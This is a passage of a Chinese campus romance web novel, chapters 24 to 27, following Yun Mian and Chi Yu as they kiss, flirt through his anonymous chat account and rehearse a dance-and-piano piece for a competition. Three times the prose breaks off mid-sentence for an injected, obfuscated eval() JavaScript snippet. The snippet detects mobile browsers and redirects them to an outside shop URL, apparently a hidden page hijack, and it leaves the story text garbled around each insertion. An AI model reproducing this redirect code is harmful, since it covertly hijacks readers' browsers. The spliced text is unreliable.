云眠倏地收回手，半晌又恋恋不舍地犹豫着，她有些怀念迟郁的体温。 下一秒，她干脆抬手指了指迟郁的脸，硬邦邦道：“现在我们都带伤了。” 迟郁轻笑出声，隔了一个距离将她轻揽进怀。 云眠眼睛睁大：“你干嘛——” 迟郁低头凑近她耳朵，不知是不是故意的，他呼吸声让人很痒。云眠再次闻到了那抹木质香调，也听见他说：“云眠，你刚刚为什么亲我。” “因为我想亲……”云眠声音越来越小。 迟郁靠得更近了，像要将她拥入怀里，满满的迟郁气息向她侵袭，她退无可退，只得被迫接受这混合着雨丝的香气。 他只穿了短袖，胳膊有几分凉，传到了她脖颈。 迟郁喉结滚动，眼底晦暗不明：“可是，我好像没有同意你亲我吧。” “搭档。” 24. 小雨 可是我没有同意你亲我。 你亲我。 亲我…… 云眠突然抬头吻了上去。 一接触到迟郁凉丝丝又柔软的脸，云眠猝然如梦初醒，愣在了原地。 ……靠，她疯了吧。 这句话在脑子里转了几圈，最后竟然变成与原先毫无关联的“亲我”，她理所当然地将自己的愿望变成迟郁的渴求，一抬头就亲了上去。 迟郁的脸怎么这么软，比她的嘴唇还软。 云眠眨巴了几下眼，却没动，连嘴角都没挪开，一副今天要把自己粘在迟郁脸上的样子。 可能是想到从明天起两人就是“单纯”的搭档关系，也可能是一不做二不休，既然已经亲了那就干脆亲个够—— 总之，她维持着一个姿势，直到暴雨声渐渐停息，她的心跳声格外吵人。 可细细听来，这心跳声不只是她一个人的。云眠轻轻动了一下，用余光看了眼迟郁。 他们的心跳同频共振。 “咳……”云眠清了下嗓子，却不能控制自己不断上扬的嘴角，只能尽力表达着歉意，“不好意思呀？” 闻言，迟郁侧目看了她一眼，没说话。睫毛轻颤了下，他喉结滚动，“嗯”了一声。 “我只是想起。”云眠道，“我们之前不是亲嘴搭子吗。” 她理直气壮：“在关系结束之前，你得让我亲回本吧。” 迟郁没吱声，于是她补充：“我保证，以后绝对不亲你了。” 迟郁手指一动，将她搂得更紧。云眠这才发现她还在迟郁怀里，难怪他的心跳声如此明显。 这阵雨渐渐停了，只剩下细细的碎声。云眠刚想靠后，迟郁却顺着她的动作俯身凑近，声音压得很低：“不行。” “什么不行……？” “我保证，你以后绝对还会想亲我。”她看不见迟郁的脸，只能听见迟郁的声音，“我保证，你以后还会想让我亲你。” 扑通、扑通。 云眠咽了咽口水。她突然不知道该怎么反驳。 能怎么反驳？她从来没打算过不喜欢迟郁。 只要迟郁喜欢她，她当然会喜欢上迟郁。 然后再，心甘情愿地被他亲。 光是想想，云眠的心跳就要爆炸了。 迟郁后退了一寸，和她对视着，似乎在等待云眠的回答。 “轰隆——” 猝不及防的雷声，云眠刚要说话便被雷声打断。睁开眼，她的耳边传来滚烫的触感，是迟郁捂着她耳朵。 云眠一愣，她想说自己根本不怕雷声，她从小便一个人度过了无数个暴雨如雷、电闪雷鸣的夜晚。可看着迟郁认真的神情，她最终只是弯了弯嘴角，抬手捂住了迟郁的耳朵。 “其实……我现在就想。”她喃喃。 幸好迟郁不懂唇语。 这场雨过后，操场积了很多天水。原本便着急篮球比赛训练的男生们更加心急如焚，几个室内篮球场被疯抢，云眠上课时总能听到后排的男生吵吵嚷嚷，说一下课便要跑去抢场地，一定要抢过艺术系的，都不准拖后腿。 云眠没有多关注他们的对话，单手托着腮，研究着自己比赛的曲目。 和迟郁合作，倒是给她解决了不少问题，也让她的独舞更加出彩，但同样也带来了其他的问题。比如单人的展示和两人的配合是完全不一样的。 如果配合不好，很容易事倍功半。 那天后，她没有和迟郁再见面。她知道迟郁得打训练赛，也知道如果她提出要练习……迟郁肯定把篮球一扔便跑来了。 与其这样，干脆让迟郁先打着篮球，她先自己琢磨一下曲调和舞蹈的改动。 云眠用指尖搭着笔，一下下地拍动脸颊，心里仔仔细细地研究着，对其他的声音充耳不闻。 如果硬要说现在的问题……她得知道迟郁目前的钢琴水平，上次听迟郁弹钢琴还是在高中时，虽然迟郁考上了首都大学的钢琴系，虽然，虽然…… 好吧。云眠承认了，她就是想听迟郁弹钢琴。 最好是现在。 “喂！！云眠！”很大的声音，像压着嗓子挤出来的，周围不少人都猛地转过了头。 云眠倏地回过神，对上了徐燕惊恐的神情：“你梦游呢？” 徐燕朝她靠近，伸手戳了一下她的脸：“你看你脸上划的！想啥呢你！” 云眠接过她递来的镜子，正正方方的小镜子里，她的左脸被自己涂画上了半个指甲盖大的墨点。 趁着老师调试多媒体的时间，云眠从后门溜进了洗手间，她先是望着镜子出神，盯着里面的自己发了会儿呆。这几天没睡好，她泛起了黑眼圈，原本便白得病态的脸上因为这一抹乌青，显得更加苍白而脆弱。 无声地叹了口气，云眠低头捧起一把水，重重砸在脸上。镜子中的她长睫挂着水珠，扑嗒扑嗒落下，一双圆眼没什么感情，却散发着一股无辜而惹人怜爱的脆弱感，小巧的鼻子，精致的微微透粉的嘴唇，颇像画里走出来的洋娃娃。 云眠又看了一眼，抬手狠狠地搓着墨点，直到皮肤因为她的用力而变红，墨点终于消失不见，而她原本便晶莹透明宛如小鹿般的脸也显得更加可爱又柔弱。 云眠抬了抬眼皮，那双眸子便跳动闪烁。她垂眸，发现手机屏幕正亮着，三分钟前收到了消息。 [hxhmmzmb：最近怎么样？] 她随手回复。 [眠眠：快做完了。] [hxhmmzmb：好。] [hxhmmzmb：其实……我不是问这个。] 云眠一愣，手指向上滑，留下一串水珠。几天前的聊天记录再次呈现在眼前，原来她当时没有回复。 [hxhmmzmb：我是想跟你说对不起。] [hxhmmzmb：我太理所当然了，我不想窥探你的隐私的，对不起。] [眠眠：没事，我忘回了而已。而且你说的挺有道理的。] [hxhmmzmb：我只是很想跟你聊天。] 两条消息同时发送。云眠眉头一跳，不禁有些迟疑。迟郁到底是多想用小号跟她聊天啊？ 虽然没有答应迟郁的追求，虽然差不多算是拒绝他了，但自己平时也没有对他很爱答不理吧。明明亲都亲过了，还不止一次…… 迟郁是有什么用小号的爱好吗？还说是，他想用小号跟自己网恋啊。 云眠不禁笑出了声，可下一秒，她突然觉得，有点儿意思。 拒绝前男友的追求并和他网恋，想想还挺……有趣的。 两人不仅默契地同时发送消息，此时更是默契地都选择了沉默，云眠是在思考一个坏念头，另一边的迟郁则是惶恐。 操场的积水还没退，他们一大早便来室内篮球场打了几个小时，温度又高，一群男生臭得要死，还有几个抽烟的。迟郁心里冒火，干脆让替补去打，自己则是找了个树荫透气。 他有点小洁癖，本想用外套垫着，在台阶上坐一会儿，可是一想到这个外套被云眠披过，迟郁的动作一滞，干脆用纸把水泥台阶擦了又擦，将外套抱在了怀里。 他想跟云眠聊聊天，但云眠可能在忙着准备比赛，他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621193|187894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕干扰云眠，又想起自己答应了云眠要乖乖听话，云眠还没有主动找他…… 迟郁在太阳底下晒了会儿，盯着外套上的图案看了会儿，突然记起自己还有个小号，虽然云眠还没有回复他的小号。 但是，他是云眠的顾客。 这是个极好的极正确的理由。 过了几天再次看到自己发的那串消息，迟郁觉得云眠不回复自己，真的很正确。他也太冒犯了吧。 迟郁想了会儿措辞，正式地和云眠道歉，他希望得到云眠的原谅，但是当云眠说句那句“没事”时，他有些愣神，一瞬间不知道该回复些什么。 其实他这几天也有研究过中国舞比赛，他看了最近几年的夺冠曲目，如果想要得奖，曲调既不能太缓和也不能太沉闷，最好的选择是改编一下目前的传统曲目，比如《小雨》。 但他没有主动提及，他都听云眠的。于是迟郁等了很多天，甚至都偷偷练习了几次《小雨》，甚至自作主张地改了几个版本。 这是迟郁懒散了这么久，第二次有了一定要做成某种事的决心。第一次是高考，一定要考上首都大学。 仅仅两次，都是因为云眠。 今天的太阳依旧很刺眼，迟郁坐在树荫下仍然觉得刺眼，他不愿去想象，如果没有遇见云眠，他的人生现在会是什么样子呢？他还会因为其他事情而下定决心吗？ 迟郁想象不出来。 他唯独不能接受的事情，就是没有遇见云眠，从他第一次见到云眠时，他就这么想了。 他对云眠一见钟情。 记忆之中，那个午后的太阳也很晒，迟郁因为老师让他搬桌子而不满。开学仅仅一个多月，几乎全年级都知道迟大少爷的脾气了，一些想跟他套近乎的男生凑上前主动要帮他搬。 乌泱泱一群人，迟郁看着就烦。摆摆手让他们搬去，自己挑了个阴凉地准备睡午觉。刚把三张桌子拼在一起，迟郁便听见不远处传来一阵阵轻微的钢琴声。 倒是挺好听的。迟郁一下子起了兴趣，翻窗出去寻找声音来源。他这才发现原来自己不经意间走到了音乐楼，那阵钢琴声似乎是从二楼某个临窗的教室传出的。迟郁正在心里抱怨着楼梯怎么这么多阶，一抬头，猝然对上了长廊对面，那个女生的视线。 女生似乎只是随意一看，没有在意他。 迟郁却彻底拔不动腿了。 沉闷耀眼的午后，日光透过长廊照着他，本该遮着眼寻个阴凉地的迟郁全然忘记了自己是谁，自己要干嘛。 他明明看不清那女生的脸，只知道她一袭瀑布般长发乖顺地垂在胸前，精巧的钢琴前，女生坐得端庄又安静，只有指尖跳跃，谱出一个个好听的音符。 迟郁听不懂这是什么曲子，他家里从小就摆着钢琴，但他从来没摸过。这一瞬间，迟郁突然万般后悔自己没有认真学过钢琴，他好想和她合奏。 热风穿过，像有万只蝴蝶飞过他胸膛，细细的，痒痒的。世界安静，只剩下钢琴声，和他怦然而起的心跳声合奏。 第一次体会到心动的迟郁，那时候并不知道这就叫心动。他站在原地，呆愣着听了一中午的钢琴声，从那以后他有几天没见到那女生。再下一次遇见，是两人偶然擦肩而过，迟郁偷偷瞄她一眼，发现自己竟然脸红了。 他让人去打听这女生的名字，不一会便知道了她是高二的艺术生，叫云眠。 云眠，眠眠。 她的名字真好听。 同样闷热的午后，迟郁遮了眼太阳，屏幕有些暗淡，但他清晰地看见了一秒钟前的消息。 [眠眠：网恋吗？] 25. 第一名 网、恋、吗。 仅仅三个字，连个标点符号都没有，冲击力却极强。 迟郁整个人愣在了原地，维持着抬手遮太阳的姿势，缓慢地张了张嘴，憋出几个字：“我、我草。” 啥？？？ 他一时间不知该如何回复了，也不知自己究竟是何种心情了。云眠发错了吗？那她原本要发什么内容，她要发给谁，她要和谁网恋！？ 没发错的话——迟郁重复来回看了看自己的账号信息，一个连头像都没有的小号，仅仅聊了几次天，云眠为什么要跟这个小号网恋！？ 迟郁嫉妒死了，嫉妒得要发疯了。他心里泛起了一股又拧巴又酸涩的冲动，胃里翻江倒海，手指不停颤抖，他不知道自己该不该开心。 如果小号不是他，如果和云眠聊天的人不是他，云眠怎么就这样喜欢上别人了……一个默认的小号，有什么好喜欢的。他努力了这么久都没有得到的，竟然、竟然。 直到眼里啪嗒一声滴在屏幕上，迟郁才发现自己竟然哭了。 靠，矫情什么。 云眠当然能喜欢别人了。 但迟郁还是控制不住地，一串串泪珠滑落，脸上很快变得黏黏的，他的视线都模糊了，云眠仍旧没有下文，屏幕上还是那晃眼的三个大字。 网恋吗。 网恋比和他谈恋爱还有意思吗。前几天还亲他嘴巴的云眠，今天就要和别人网恋了。 迟郁心里酸得要死，缓了好半天，他擦干了眼泪，突然涌现出一个想法。 还好，这个小号是他自己。 没关系，云眠可能只是想尝试一下新鲜事物。迟郁网上冲浪的时间不长，但也知道最近流行网恋。 云眠可能只是想试一试罢了，等她体验过后，她喜欢的人还是自己，他还有机会。 这样想着，迟郁心里轻松了不少，不过目前还要解决一个问题——他控制住颤抖不停的手指，在键盘上敲出几个字。 [hxhmmzmb：群发吗？] 只要不是群发就好，只要不是群发就好。 迟郁有些紧张，只能不断在心里安慰自己。只要不是群发，他也……他也可以和云眠网恋，虽然他也没有经历过，不怎么会，但是可以学。哪怕是用别人的身份，只要云眠喜欢，他可以隐姓埋名地和云眠网恋一辈子。 迟郁有些期待。 “叮咚。”提示音响起。 [眠眠：发错了！！] [眠眠：不好意思TAT] 啊。 啊？ 迟郁再一次愣在了原地。 - 云眠逃了课，大中午的，日头正晒。她找了个稍微阴凉的地方，手上捏着一支青提味的冰棍，正不停冒着冷气。 和迟郁聊天实在是一件让人身心愉悦的事情。她以前怎么不知道，迟郁这么可爱。此时此刻，她的嘴角向上弯着，暗自偷笑。 屏幕对面的迟郁似乎正在思考，很长时间里都保持着“对方正在输入”，过了一会儿。 [hxhmmzmb：那你下次小心点。] 云眠捂着嘴，从善如流。 [眠眠：好的。] 下一秒。 [hxhmmzmb：那……你是发错人了，还是。] [眠眠：打错字了。] [hxhmmzmb：那就好。] [hxhmmzmb：不是。我的意思是，网恋很容易被骗的！不要跟别人乱网恋呀。] [hxhmmzmb：如果是比较熟悉的，可以……] 云眠用手机表格导出了她选好的曲子，将《小雨》标红后发给了迟郁，表达了自己的想法，又让他抽空全部试听一下，两人可以讨论讨论。 做完这些，她再次切回了交易软件，斟酌了下字句，点击发送。 [眠眠：我知道了，我会跟熟悉一点的人网恋的。] 仅仅一分钟的时间，那边的迟郁竟已经回复了。 [迟郁：我选《小雨》。] 云眠皱了下眉。 [眠眠：你先听一下吧。] [迟郁：《小雨》的曲调更能和你跳的风格融合，更适合现场表演，其他的稍微欠缺一些。不过《小雨》的曲目也应该改一下会更好，我前几天自己改了几版。] 他一口气“唰唰”地发送了很多个录音版本，瞬间占满了屏幕。还没等云眠从头看到尾，他又再次发来了消息。 [迟郁：我从那天开始听了很多首，你列的这些我都听过了呀。] [迟郁：小猫委屈.jpg] [迟郁：好巧哦，我觉得最合适的也是《小雨》。] 云眠先是一愣，随后不由自主地笑出了声。也对，她怎么会觉得迟郁不靠谱呢，迟郁向来不会搞砸什么事，尤其是关于她的。 这下，反倒是云眠得抽空全部试听一下了。她看了眼自己的课表，打算干脆坐在原地听完。 [迟郁：我知道离学校很近的一家琴房。] [迟郁：其实，我已经预约好了。你什么时候有时间？] [迟郁：我想弹给你听。] 他们的想法竟然又不谋而合。 顺着导航走到时，云眠才发现这间琴房离她的舞室也很近。她找到了迟郁给的房间号，刚一开门便感受到了扑面而来的冷气，温差太大，她身子抖了一下。 迟郁还穿着队服，似乎也是刚到，手里正拿着空调遥控器。 他在云眠开门的那一瞬间便转过身，眼神瞬时亮了起来，张嘴似乎想喊她名字。但看见云眠抖了一下，迟郁表情一僵，快步走了过来，满是担忧：“怎么了？” 他上下打量云眠，恍然大悟道：“是不是空调太低了。” 话毕，迟郁拿起遥控器往上调了几度，小声似乎在给自己辩解：“我刚打开就是这个温度，对不起啊……” 云眠有些不解：“为什么要说对不起。” 迟郁顿了下：“……就是想说。” 云眠轻垂着长睫，看他低头的样子，她突然很心软：“又不是你的错，下次不用跟我说对不起。” 迟郁看着她的动作，主动接过她的包，放在了门口边的椅子上。整个琴房很大且空旷，迟郁这才发现自己还穿着队服，胸前一个大大的“7”。 左右扫了一眼，迟郁压低了声音：“我把衣服脱了。” 云眠点点头：“脱吧。” “……你转过去。” “啊？”云眠一愣，“你要脱光吗？” “当然不是！”迟郁喉结一滚，压低了声音，“我把队服脱了，脏。” 他是不易流汗的体质，但打了几个小时身上难免出一下薄汗，迟郁预约好琴房后便冲回宿舍，迅速冲了个凉，他怕让云眠等，着急往外赶，不小心把球衣也穿来了。 太傻了。迟郁偷偷瞄云眠，心想还好她不知道这回事儿。 云眠确实不知道，她闻了满满一鼻腔的迟郁味道，暖和的木质香调混杂着冷淡的沐浴露味道，在闷热的盛夏比空调还降温。 云眠突然很想扑上去闻他一口。 几秒钟的沉默后。 云眠转过了身：“你脱吧。” 其实，她很想吐槽一下迟郁，为什么脱一个马甲也得她转身，有什么大不了的……但是再不转过去，云眠怕自己真的控制不住，扑上去闻他。明明都是男生，她的教室里很臭，迟郁为什么这么香。 难道是偷偷喷香水了。 云眠在心里推测，下意识地用鼻子吸了一口，香味更浓了，奇怪。她睁开眼，便发现迟郁恰恰好好站在她面前，距离很近。 难怪这么香。这个念头仅仅存在了一秒。云眠猛地向后退，但她动作太急，站得不稳，整个人不受控制地向后跌去—— 完了，脑袋要开花了，这个地板看起来很硬。 好在，迟郁接住了她。 “砰”的一声，她稳稳撞入了迟郁的怀抱里。 她能清晰地听到迟郁的心跳声，感受到迟郁结实的肌肉，坚硬的骨头，有力的胳膊环抱着她，以及，迟郁的香气。 云眠咽了咽口水。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621194|187894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她心跳得很快，耳边是迟郁焦急的声音。 “没事吧！” “撞哪了？头吗？” “疼么，眠眠。” 云眠睫毛颤抖了一下。心想应该疼的是迟郁吧，她撞得挺结实的。 她清了清嗓子，缓缓地有些不舍地离开了这个怀抱，没去看迟郁：“……别叫我眠眠。” “对不……”迟郁一愣，剩下一个字被他卡在了嗓子里，最后变成了沉默。 云眠捂了捂额头，有些别扭道：“怎么又下意识道歉啊，更何况，我不让你叫，你就真不叫么……以前不让你叫学姐，你不是也叫吗？” 话刚说完，她突然僵住。这是个不太美好的故事。 也许是，那时的迟郁坚定地认为自己一定是喜欢他的，所以哪怕自己不让他叫，他也笑嘻嘻地往前凑，说“学姐你不要生气”。直到那次—— 她坚定地甩开迟郁的手，眼中带了几分厌恶，迟郁才会愣在原地，不敢再次触碰她。 所以，开学迟郁叫她“学姐”，其实是……试探？ 迟郁的小脾气，有些恶劣的小性格，总喜欢缠着她，喜欢抱着她胳膊，只有在迟郁得到坚定的喜欢时，才会展现出来。 云眠心里苦涩，她垂着眸子看着迟郁，抬起手却不知该如何触碰他。 直到迟郁自己反应了过来，勾了勾嘴角，露出一个极其平淡又掩饰的笑容，轻声似在安慰她：“我知道了。” 云眠抿住嘴唇，用手背蹭了蹭他的脸颊。前几天打架留下的那道血痕已经消失不见，连疤痕也没有留下，但却不管是迟郁还是云眠，都知道这里曾经存在过那道痕迹。白皙的皮肤上，曾经有一道鲜红的血痕。 被她蹭脸，迟郁似乎很是惊喜，轻轻歪头靠得更近。他眼睛直勾勾地看着云眠，眼底饱含了许许多多复杂的情绪，漆黑的眸子泛着光。 迟郁带着笑意逗她：“以后叫你眠眠学姐。” 云眠被他逗笑，用手□□了碰他的脸。 钢琴声悠扬婉转，一个个音符来回跳跃。《小雨》这首曲子云眠也弹了很多次，本就十分喜欢。迟郁改了多个版本，光是弹完便用了不少时间。 云眠靠在镜子上，微曲着腿，除了闭上眼睛感受曲调时，她总是盯着迟郁的背影。 这种感觉很熟悉。 仔细算来，她和迟郁分开也才一年多的时间。这一年内，迟郁的气质变了，原本满是稚气的，总是高高在上地使唤除了云眠以外的所有人的小男孩，现在竟添了几分成熟与稳重。 但他的肩膀仍旧没变。迟郁身材好，肩宽腿长，但人活泼，除了弹琴从来不闲着，连上课也歪着身子翘着腿。但云眠知道，他弹钢琴时很认真，从背影看去，带着几分少年特有的决心。 脱去了队服，迟郁里面穿着极其普通的黑色短袖，袖口下半截胳膊肌肉很明显。云眠盯他盯得出神，开始在脑子里幻想迟郁真的脱下衣服的样子，背对着她或者面对着她一件件脱光，一定很性感。 靠。 不行不行。 云眠倏地晃了晃脑袋。想什么呢！ 一曲毕，迟郁再次接上了另一首。 他是很有天赋的少年啊。从高中时才第一次学习钢琴，但短短两三年时间便练得如此之好，甚至带了一些个人特色。经过他改编的曲子，意外地满足云眠的需求与想象。 哪怕不和迟郁在一起，和这样优秀出色的人一起合作，这个舞台一定会很成功的。 云眠笑了起来，视线却没移开。 迟郁兀一转头，对上的便是云眠复杂的眼神。他大脑空白了一瞬，下意识道：“这些都不行吗？” 云眠脱口而出：“你好帅。” 她太直白太坦然，迟郁反倒不知该如何应对。但没等他回应，云眠便起身，拿起身边的笔记本向他展示：“我觉得可以把你改编的第一版的第三部分和第三版的末尾结合一下，再……” 她话没说完，突然抬起头，撞进迟郁的眼睛，声音柔软坚定，却带着几分勾人的诱惑：“迟郁，我们一定会拿第一名的。” 26. 心意 刺鼻的消毒水味。 医院里人来人往，迟鹤单手捏着烟尾，吸过一口，忽然听见身后传来愈来愈近的脚步声。他一顿，转过身，便看见迟郁双手抱臂站在他身后。 迟郁倚着墙，皱眉打量他两眼，没什么好气道：“呛死了，你现在竟然抽烟了。” 看见自己许久未见的弟弟紧皱的眉头和略显不满的神色，迟鹤掐掉烟，无声笑了下：“怎么跟你哥说话的，这么没大没小。” 他抬手想摸一下迟郁的头，却被躲过，也不恼，反倒拍了下迟郁的肩，挑眉笑道：“听爸说你谈恋爱了？” 迟郁脸一红，注意到他略显疲惫的神态和眼底的乌青，终究是关心哥哥，没把他的手拍掉，别扭道：“你不是在出差吗，怎么又回来了。爸都好得差不多了，这里有我们就行。” 迟鹤眼底闪过一丝异样的神情，似是有些落寞，但还是勾了勾唇，开起了玩笑：“小姑娘长什么样？性格怎么样？” “……漂亮。”迟郁本不想搭理他，但没忍住，关于云眠的事情他总是忍不住的，提起喜欢的女生，声音也变得雀跃，“特别漂亮，性格也很好，很优秀。特别……特别好。” 闻言，迟鹤发自内心地笑了起来，他们二人相差九岁，他又不常在家，印象里不务正业又爱使唤人的小屁孩一转眼便长这么大，不免有些感慨，话里倒也带上了长辈气息：“好好谈，有机会带回家我认识认识。” 迟郁白他一眼：“当然会好好谈了。” 出于私心，迟郁没有否认云眠并不是自己的女朋友，也出于他的小孩子脾气，倒也在心底暗自期待，也许某一天，云眠真的会以女朋友的身份跟他回家，由他向自己的家人介绍：这是我的女朋友，云眠。 再由他向云眠介绍：这是我的家人。 而后，在未来的某一天，云眠也能成为他合法的家人。 迟郁感受到自己一颗心脏砰砰直跳，惊喜雀跃。 兄弟二人长得帅，又高，身材好，在走廊吸引了不少人的注意。从露天阳台走回病房的路上，迟鹤便连续被两个女生要了联系方式，迟郁在一旁狂翻白眼。 迟鹤倒是没什么反应，礼貌地拒绝后，突然抬手，终于是摸上了自己弟弟的脑袋，他用力狠狠搓了几下，笑道：“我们阿郁一看就是未成年。” 迟郁狠狠踹了他一脚。 一路打闹着回了病房，迟父躺在床上，气色显然好了不少，正刷着短视频，见他们进来也只是抬了下头：“哟，都来了啊。来这么多人干嘛？我自己躺躺就好了。” 迟鹤率先坐下，面色有些沉重，开门见山道：“爸，分公司那里……” 原本这些话题，迟郁是最不愿意听的。每次在家，他们聊起这个，迟郁便会立马溜走。但这次他竟然不排斥，甚至有些感兴趣，站在旁边听了老半天，迟父和迟鹤都十分意外。 时间一分一秒过去，窗外天色有些黑了，太阳悬挂在地平线上散出淡黄的光。迟郁这才惊觉时间的流逝，拿出手机，发现云眠几分钟前给他发了消息。 迟郁登时被内疚填满，他竟然忘记手机正处在静音模式，没有秒回云眠的消息。 [眠眠：今晚有空吗] [cy：有有有！一整晚都有！] [cy：手机静音了TAT] [cy：是要练习吗？我现在约一个舞] [cy：不对不对，我已经包月了一个舞室，我们直接过去？] 他太过慌乱，一口气发送了许多条消息。 - 云眠盯着手机对面劈头盖脸的一连串消息，有些汗颜。 [眠眠：包月是不是有点浪费……] [眠眠：我们又不会每天都练。] [cy：那可以每天练呀！] 云眠一顿。好好，她算是懂迟郁的小心思了，又是故意的。 [眠眠：你有空的话，那我们先去吃饭吧] [眠眠：可以吗] [cy：可以！] 云眠轻笑了一声，她好像能听见迟郁在她耳边说话，那低沉磁性的声音围绕着她的耳朵。昨天的那句“眠眠学姐”也随之冒了出来，她心里恍惚了一下。 [眠眠：那约在舞室附近吧。] 发完消息，她起身收拾背包。刚刚完成老师安排的比赛任务，偌大的教室只剩下她一人，格外安静，走廊里的脚步声被阻隔，有些闷。 云眠正把一张纸夹进本子里，上面是她昨天写好的排练内容。脚步声突然放大，变得急切。 云眠刚要抬头，一只手猝然探入她的视线，攥紧了她手中的纸，并用力。 付语容不知什么时候跑了过来，一手撑桌，另一只手捏着那张纸，表情有些许松动，随后漏齿笑了一下：“你力气还挺大。” 云眠半垂着眼，面无表情地看着她：“你第一天知道吗？” 话毕，云眠甩开她的手，身子一倾，睫毛轻抬：“有事？” “你还是这么不客气。”付语容道。 “你倒是客气，上来就抢东西。”云眠道。 她们二人同时松了力气，付语容反应极快，趁着云眠不注意拽起纸看了一眼，一字一句喃喃道：“小雨……布景……练习时长？” 云眠神色淡淡地用眸子打量着她，没说话。 付语容看了一会儿，讪讪地递了回去，眼珠子一转，笑道：“你这是要参加什么比赛？跟你高中的一样吗？” “我们好像没那么熟吧。” 云眠不动声色地看了她一眼。付语容仍旧化着浓密精致的妆容，哪怕在高温下，整张脸依旧毫无瑕疵，睫毛又长又翘，唇形漂亮又饱满。付语容的化妆技术极好，似乎每天都是全妆，但在云眠心里，她素颜也很漂亮。如果自己是清纯无辜的长相，那付语容便是美丽之下隐藏着利爪的野兽，美得极具攻击性。 似乎是察觉到了云眠的视线，付语容有些不自在，愣了一下道：“你看什么？” “你愿意帮我化妆吗？”云眠问。 “什么？化、化妆？”付语容更呆滞了，“当然不行。” 云眠点点头，拿起桌上的包和那一张纸：“好。我先走了，有什么事以后再说吧。” 随后，她径自走出门去，心中思索着什么。她不是转移话题，也不是随口一问。这几天研究了网上的舞蹈视频，云眠发现自己的化妆技术有些相形见绌，恰好此时见到了付语容，于是便想要尝试去询问。既 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621195|187894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然不行，那也不强求。 付语容看着云眠的背影，伸手想喊住她，可犹豫半天，最终是没说话。 今天不热，有些沉闷。几朵乌云压着，原本便暗的天显得更黯然，风里带了丝冷气，盛夏仿佛从指尖速度极快地钻走了，只留下一串尾巴。 云眠等了一会儿，才等到校内的公交车。出乎意料，这个时间段竟然人满为患。 好不容易挤上车，云眠打量一圈，发现没有位置。她攥紧手提包，心想还好离门口不远。 “同学。” 云眠抬头。 “你坐这吧。” 个子挺高的男生，站她旁边，伸着胳膊给她指了指旁边的位置。 云眠摇头：“谢谢，不用了。” “哎，没事儿，你坐呀，我下站就下车了。”男生语气跳脱，干脆整个人往后挪了一下，把云眠挤到了座位上。 看着近在咫尺的位置，云眠没再推脱：“谢谢。” 她这才好好打量了一眼男生，发现对方穿得极其潮流，染了一头张扬的红发，在拥挤的空间里是最显眼的那一个。 男生也看着她，过了一会，他突然开口：“我怎么看你有点眼熟啊？” 云眠没说话。 “我好像在网上刷到过……你是不是——是不是那个——”他扬着一根手指，一边上下点着一边思考，“眠眠啊？” “……云眠。” “对对对！我刷到过你。自我介绍一下，行不更名坐不改姓，首都第一深情，方琛。”方琛甩出一只手，咧开嘴笑着，“我前几天还跟迟郁一起打球呢。” 云眠皱了下眉，她并不喜欢别人这样将她和迟郁放在一起，仿佛她是迟郁的什么附属品。 见她没伸手，方琛识趣地收回手，笑了一下：“我不是那个意思，我想着这也算共同好友嘛，所以才提起迟郁的。” 云眠一愣：“你知道我在想什么？” “都说了我是首都第一深情，那自然感情经历很丰富啊！”方琛又回到了那副邪里邪气的样子，抬了下墨镜，“迟郁还没追到你吧。你有没有看到他的朋友圈？” 云眠顿时明白了什么。 “没错！是我教的！”方琛道，“准确来说——是他花九十九块在我这里买的攻略。” “奸商。”云眠言简意赅。 “艺术学院，到了。”车内的喇叭响起。 公交车缓缓停下，方琛一步没挪，云眠投去了疑惑的视线，他嘿嘿一笑：“骗你的。” “你这么喜欢站着吗？” “我这是不想让女生站着，我不忍心看见这种事情。”方琛道，“你要去哪？新朋友。” 云眠没回答。 方琛很是大方的摊了摊手：“说不定我们在同一个地方下车。” 校内公交车四通八达，不仅穿梭在各个教学楼与宿舍之间，还能直接通向校外的几个便利店，以及舞室或音乐室，比如迟郁预定的那个。 但当方琛真和自己在同一个舞室前下车时，云眠仍是觉得离谱。 但当她一抬头，便看见不远处站着的迟郁，和他很臭的表情时，云眠觉得更离谱了。 ……迟郁不会误会什么了吧？ 27. 爱哭 蝉鸣阵阵如鼓。 公交车留下一串尾气，扬长而去。 云眠站在原地没动，迟郁也没动。她莫名有些心虚，可又不知自己为何心虚，舔了下嘴唇，干脆侧过头不去看迟郁。手指抖了下，她心脏抽了下。 见她别过头，迟郁愣住了。 “哎……”三个人里只有方琛一脸懵，挠了挠头，“干嘛呢你俩？不熟？” 云眠没说话。她估计迟郁现在心情很差，很差。但她还是没出声，原因很简单，她想看迟郁什么反应。 